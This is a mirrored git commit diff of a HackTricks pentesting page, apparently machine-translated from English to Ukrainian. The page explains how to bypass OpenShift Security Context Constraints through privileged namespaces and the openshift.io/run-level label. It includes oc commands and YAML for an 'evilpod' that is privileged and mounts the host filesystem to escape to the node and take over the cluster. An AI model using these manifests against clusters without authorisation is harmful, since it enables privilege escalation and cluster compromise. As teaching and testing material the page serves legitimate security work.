mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-13 21:36:23 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
Translator
@@ -1,10 +1,10 @@
|
||||
# Openshift - SCC bypass
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**Оригінальний автор цієї сторінки** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Privileged Namespaces
|
||||
## Привілейовані простори імен
|
||||
|
||||
By default, SCC does not apply on following projects :
|
||||
За замовчуванням, SCC не застосовується до наступних проектів:
|
||||
|
||||
- **default**
|
||||
- **kube-system**
|
||||
@@ -13,130 +13,114 @@ By default, SCC does not apply on following projects :
|
||||
- **openshift-infra**
|
||||
- **openshift**
|
||||
|
||||
If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
|
||||
Якщо ви розгортаєте поди в одному з цих просторів імен, жоден SCC не буде застосовано, що дозволяє розгортати привілейовані поди або монтувати файлову систему хоста.
|
||||
|
||||
## Namespace Label
|
||||
## Мітка простору імен
|
||||
|
||||
There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
|
||||
|
||||
- Create a Namespace and Create a Pod on this Namespace
|
||||
- Edit a Namespace and Create a Pod on this Namespace
|
||||
Існує спосіб вимкнути застосування SCC на вашому поді відповідно до документації RedHat. Вам потрібно мати принаймні одне з наступних дозволів:
|
||||
|
||||
- Створити простір імен і створити под у цьому просторі імен
|
||||
- Редагувати простір імен і створити под у цьому просторі імен
|
||||
```bash
|
||||
$ oc auth can-i create namespaces
|
||||
yes
|
||||
yes
|
||||
|
||||
$ oc auth can-i patch namespaces
|
||||
yes
|
||||
yes
|
||||
```
|
||||
|
||||
The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
|
||||
Специфічна мітка `openshift.io/run-level` дозволяє користувачам обходити SCC для додатків. Згідно з документацією RedHat, коли ця мітка використовується, жодні SCC не застосовуються до всіх подів у цьому просторі імен, ефективно усуваючи будь-які обмеження.
|
||||
|
||||
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Add Label
|
||||
|
||||
To add the label in your namespace :
|
||||
## Додати мітку
|
||||
|
||||
Щоб додати мітку у вашому просторі імен:
|
||||
```bash
|
||||
$ oc label ns MYNAMESPACE openshift.io/run-level=0
|
||||
```
|
||||
|
||||
To create a namespace with the label through a YAML file:
|
||||
|
||||
Щоб створити простір імен з міткою через файл YAML:
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Namespace
|
||||
metadata:
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
name: evil
|
||||
labels:
|
||||
openshift.io/run-level: 0
|
||||
```
|
||||
|
||||
Now, all new pods created on the namespace should not have any SCC
|
||||
Тепер всі нові поди, створені в просторі імен, не повинні мати жодного SCC
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
|
||||
</strong><strong>$
|
||||
</strong><strong>$
|
||||
</strong></code></pre>
|
||||
|
||||
In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
|
||||
|
||||
У відсутності SCC немає жодних обмежень на визначення вашого пода. Це означає, що зловмисний под може бути легко створений для втечі на хост-систему.
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
name: evilpod
|
||||
labels:
|
||||
kubernetes.io/hostname: evilpod
|
||||
spec:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
hostNetwork: true #Bind pod network to the host network
|
||||
hostPID: true #See host processes
|
||||
hostIPC: true #Access host inter processes
|
||||
containers:
|
||||
- name: evil
|
||||
image: MYIMAGE
|
||||
imagePullPolicy: IfNotPresent
|
||||
securityContext:
|
||||
privileged: true
|
||||
allowPrivilegeEscalation: true
|
||||
resources:
|
||||
limits:
|
||||
memory: 200Mi
|
||||
requests:
|
||||
cpu: 30m
|
||||
memory: 100Mi
|
||||
volumeMounts:
|
||||
- name: hostrootfs
|
||||
mountPath: /mnt
|
||||
volumes:
|
||||
- name: hostrootfs
|
||||
hostPath:
|
||||
path:
|
||||
```
|
||||
|
||||
Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
|
||||
Тепер стало легше підвищити привілеї для доступу до хост-системи і, відповідно, захопити весь кластер, отримавши привілеї 'cluster-admin'. Шукайте частину **Node-Post Exploitation** на наступній сторінці:
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
|
||||
{{#endref}}
|
||||
|
||||
### Custom labels
|
||||
### Користувацькі мітки
|
||||
|
||||
Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
|
||||
Крім того, залежно від налаштувань цілі, деякі користувацькі мітки / анотації можуть використовуватися так само, як у попередньому сценарії атаки. Навіть якщо це не передбачено, мітки можуть бути використані для надання дозволів, обмеження або не обмеження конкретного ресурсу.
|
||||
|
||||
Try to look for custom labels if you can read some resources. Here a list of interesting resources :
|
||||
Спробуйте знайти користувацькі мітки, якщо ви можете прочитати деякі ресурси. Ось список цікавих ресурсів:
|
||||
|
||||
- Pod
|
||||
- Deployment
|
||||
- Namespace
|
||||
- Service
|
||||
- Route
|
||||
|
||||
```bash
|
||||
$ oc get pod -o yaml | grep labels -A 5
|
||||
$ oc get namespace -o yaml | grep labels -A 5
|
||||
```
|
||||
|
||||
## List all privileged namespaces
|
||||
|
||||
## Перелічити всі привілейовані простори імен
|
||||
```bash
|
||||
$ oc get project -o yaml | grep 'run-level' -b5
|
||||
```
|
||||
|
||||
## Advanced exploit
|
||||
|
||||
In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
|
||||
В OpenShift, як було продемонстровано раніше, наявність дозволу на розгортання пода в просторі імен з міткою `openshift.io/run-level` може призвести до простого захоплення кластера. З точки зору налаштувань кластера, ця функціональність **не може бути вимкнена**, оскільки вона є невід'ємною частиною дизайну OpenShift.
|
||||
|
||||
However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
|
||||
Однак, заходи пом'якшення, такі як **Open Policy Agent GateKeeper**, можуть запобігти користувачам встановлювати цю мітку.
|
||||
|
||||
To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
|
||||
Щоб обійти правила GateKeeper і встановити цю мітку для виконання захоплення кластера, **зловмисники повинні знайти альтернативні методи.**
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
|
||||
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user